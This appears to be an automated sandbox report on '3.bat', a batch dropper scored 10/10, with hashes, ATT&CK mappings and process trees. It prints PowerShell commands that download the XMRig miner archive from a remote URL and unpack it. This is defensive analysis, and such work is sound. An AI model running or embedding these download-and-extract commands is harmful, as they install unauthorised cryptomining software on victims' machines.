c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
22-05-2024 02:54

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General

Target

3.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 2612 powershell.exe
6 2612 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2612 powershell.exe
2548 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2612 powershell.exe
2548 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2612 powershell.exe
Token: SeDebugPrivilege 2548 powershell.exe

flow	pid	process
5	2612	powershell.exe
6	2612	powershell.exe

pid	process
2612	powershell.exe
2548	powershell.exe

pid	process
2612	powershell.exe
2548	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2612	powershell.exe
Token: SeDebugPrivilege	2548	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 292 wrote to memory of 2612	292	cmd.exe	powershell.exe
PID 292 wrote to memory of 2612	292	cmd.exe	powershell.exe
PID 292 wrote to memory of 2612	292	cmd.exe	powershell.exe
PID 292 wrote to memory of 2548	292	cmd.exe	powershell.exe
PID 292 wrote to memory of 2548	292	cmd.exe	powershell.exe
PID 292 wrote to memory of 2548	292	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\3.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:292

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2612

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2548

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0A6U6U56UGWX0DAODVGK.temp
Filesize
7KB

MD5
07cf9f9db0ce01638ad20907894c63bc

SHA1
16b7a759a3724e90164a6e28e03e6f204e7de39f

SHA256
ab5cc39d4be229390923ebea3d6ba3e3ef0121d4276df0064b71d49ec79747a6

SHA512
a9f7f41ed19f300e7f3f67030983ac38bd3e293561479a34c62542d0af6b992d8688cc6375d8853907d779ff998074959950d26e45e1b59c5b73817f2a0a07a6

Download Submit
memory/2548-19-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/2548-18-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2612-4-0x000007FEF5F4E000-0x000007FEF5F4F000-memory.dmp

Filesize
4KB

Download
memory/2612-5-0x000000001B760000-0x000000001BA42000-memory.dmp

Filesize
2.9MB

Download
memory/2612-8-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2612-7-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2612-6-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2612-10-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2612-9-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2612-11-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2612-12-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download